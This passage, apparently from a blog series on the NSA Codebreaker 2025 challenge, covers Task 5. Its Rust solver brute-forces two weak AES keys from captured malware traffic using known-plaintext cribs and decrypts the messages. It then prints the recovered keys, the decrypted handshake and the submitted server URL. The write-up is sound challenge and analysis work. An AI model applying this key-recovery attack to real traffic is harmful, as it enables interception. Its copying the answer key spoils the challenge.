style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e out \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eunsafe\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        AES_set_decrypt_key(key.as_ptr(), \u003cspan style=\"color:#ae81ff\"\u003e128\u003c/span\u003e, \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e ak);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        AES_decrypt(inp.as_ptr(), out.as_mut_ptr(), \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003eak);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    out\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eunhex\u003c/span\u003e(s: \u003cspan style=\"color:#66d9ef\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003estr\u003c/span\u003e) -\u0026gt; Vec\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    (\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e..\u003c/span\u003es.len()).step_by(\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e).map(\u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003ei\u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e::from_str_radix(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003es[i\u003cspan style=\"color:#f92672\"\u003e..\u003c/span\u003ei \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e], \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e).unwrap()).collect()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// AES-128-ECB decrypt a whole buffer with one key, then strip PKCS#7 padding.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003edecrypt_layer\u003c/span\u003e(key: \u003cspan style=\"color:#66d9ef\"\u003e\u0026amp;\u003c/span\u003e[\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e], data: \u003cspan style=\"color:#66d9ef\"\u003e\u0026amp;\u003c/span\u003e[\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e]) -\u0026gt; Vec\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e out \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e Vec::with_capacity(data.len());\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e ch \u003cspan style=\"color:#66d9ef\"\u003ein\u003c/span\u003e data.chunks_exact(\u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e b \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        b.copy_from_slice(ch);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        out.extend_from_slice(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003edec_block(key, \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003eb));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e pad \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eout.last().unwrap() \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eusize\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e pad \u003cspan style=\"color:#f92672\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e pad \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e pad \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e out.len() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        out.truncate(out.len() \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e pad);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    out\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emain\u003c/span\u003e() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// Cribs and messages from this capture (stream 19).\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e pad_ct \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e unhex(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;409a5a9dafac6df2db0a970fb723a1bb\u0026#34;\u003c/span\u003e);            \u003cspan style=\"color:#75715e\"\u003e// E_k2(0x10^16)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e reqconn_ct \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e unhex(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;42703d2f1090e0e0556125071e3b6469\u0026#34;\u003c/span\u003e);        \u003cspan style=\"color:#75715e\"\u003e// first block of msg4\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e reqconn_pt \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e unhex(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;dec0dec0ffee524551434f4e4e030303\u0026#34;\u003c/span\u003e);        \u003cspan style=\"color:#75715e\"\u003e// dec0..+REQCONN+PKCS7\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e messages \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        (\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;msg4 C-\u0026gt;S\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;42703d2f1090e0e0556125071e3b6469409a5a9dafac6df2db0a970fb723a1bb\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        (\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;msg5 S-\u0026gt;C\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;eb11c256aafe5abe289cd8f04f7241afb3f5b4ba9ecd9a03e5a7f108aecb18b9409a5a9dafac6df2db0a970fb723a1bb\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        (\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;msg6 C-\u0026gt;S\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;1332db1a443b7ef7f27b1b448002cd10563c504e8963aa3bc46091f5b36678c29fed247b555ba5a3f45e185aa3df8b27409a5a9dafac6df2db0a970fb723a1bb\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        (\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;msg7 S-\u0026gt;C\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;3610982eaa90dbf184bab42e23f7bb17bac652c79d19f17706c66e01f6affc0c9538c9b4c64dd2f68587edd0e6eea7fdc2dabd1252a0136764895a764c5e98e9409a5a9dafac6df2db0a970fb723a1bb\u0026#34;\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e pad_pt \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e pad_ct_a \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e]; pad_ct_a.copy_from_slice(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003epad_ct);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e rc_a \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e];     rc_a.copy_from_slice(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003ereqconn_ct);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e pt_a \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e];     pt_a.copy_from_slice(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003ereqconn_pt);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// Phase 1: key 2 from the single-key padding crib.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e v2 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e None;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e v \u003cspan style=\"color:#66d9ef\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e..\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eMAX\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e dec_block(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003ekey_from_v(v), \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003epad_ct_a) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e pad_pt { v2 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e Some(v); \u003cspan style=\"color:#66d9ef\"\u003ebreak\u003c/span\u003e; }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e v2 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e v2.expect(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;key 2 not found\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e k2 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e key_from_v(v2);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// Phase 2: key 1.  D_k2(reqconn_ct) == E_k1(reqconn_pt)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e inter \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e dec_block(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003ek2, \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003erc_a);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e v1 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e None;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e v \u003cspan style=\"color:#66d9ef\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e..\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eMAX\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e enc_block(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003ekey_from_v(v), \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003ept_a) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e inter { v1 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e Some(v); \u003cspan style=\"color:#66d9ef\"\u003ebreak\u003c/span\u003e; }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e v1 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e v1.expect(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;key 1 not found\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e k1 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e key_from_v(v1);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintln!\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;key1 = \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, k1.iter().map(\u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003eb\u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eformat!\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{:02x}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, b)).collect::\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eString\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e());\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintln!\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;key2 = \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, k2.iter().map(\u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003eb\u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eformat!\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{:02x}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, b)).collect::\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eString\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e());\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintln!\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// Decrypt each message: outer layer k2, inner layer k1.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (name, hexmsg) \u003cspan style=\"color:#66d9ef\"\u003ein\u003c/span\u003e messages {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e ct \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e unhex(hexmsg);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e inner \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e decrypt_layer(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003ek2, \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003ect);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e plain \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e decrypt_layer(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003ek1, \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003einner);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e body \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003eplain[\u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e..\u003c/span\u003e]; \u003cspan style=\"color:#75715e\"\u003e// drop dec0dec0ffee header\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eprintln!\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{name}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, String::from_utf8_lossy(body));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"result\"\u003eResult\u003c/h3\u003e\n\u003cp\u003eBoth keys fall out in about 20 seconds, and the messages decrypt cleanly:\u003c/p\u003e\n\u003cimg src=\"/images/codebreaker-2025/task5-solve.png\" alt=\"Solver output: recovered keys and decrypted messages\"/\u003e\n\u003cp\u003eThe first two decrypted messages are \u003ccode\u003eREQCONN\u003c/code\u003e and \u003ccode\u003eREQCONN_OK\u003c/code\u003e, exactly the handshake plaintext we predicted, which confirms the keys are correct. Then the client asks the server \u003ccode\u003eDATA REQUEST mattermost_url\u003c/code\u003e, and the server answers with the prize:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ekey1 = 2b086a03000000000000000000000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ekey2 = cd914a00000000000000000000000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emsg4 C-\u0026gt;S: REQCONN\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emsg5 S-\u0026gt;C: REQCONN_OK\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emsg6 C-\u0026gt;S: DATA REQUEST mattermost_url\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emsg7 S-\u0026gt;C: https://198.51.100.166/mattermost/5wN1amoCUByjy\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"submission\"\u003eSubmission\u003c/h3\u003e\n\u003cp\u003eThe full URL to the adversary\u0026rsquo;s server:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehttps://198.51.100.166/mattermost/5wN1amoCUByjy\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003cp\u003e\n\u003cimg src=\"/images/codebreaker-2025/badge5.png\" alt=\"NSA Codebreaker 2025 Task 5 completion badge\" width=\"300\"/\u003e\n\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025-task-4/\"\u003e← Task 4\u003c/a\u003e · \u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003eSeries overview\u003c/a\u003e · \u003ca href=\"/posts/nsa-codebreaker-2025-task-6/\"\u003eTask 6 →\u003c/a\u003e\u003c/p\u003e\n","date":"2025-10-17","dateFormatted":"October 17, 2025","excerpt":"← Series overview Task 5 - Putting It All Together - (Cryptanalysis) NSA analysts confirm that there is solid evidence that this binary was at least part of what had been installed on the military …","featured":false,"mood":null,"permalink":"/posts/nsa-codebreaker-2025-task-5/","readingTime":10,"slug":"nsa-codebreaker-2025-task-5","subtitle":"The investigative handoff from malware to infrastructure","summary":"\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003e← Series overview\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"task-5---putting-it-all-together---cryptanalysis\"\u003eTask 5 - Putting It All Together - 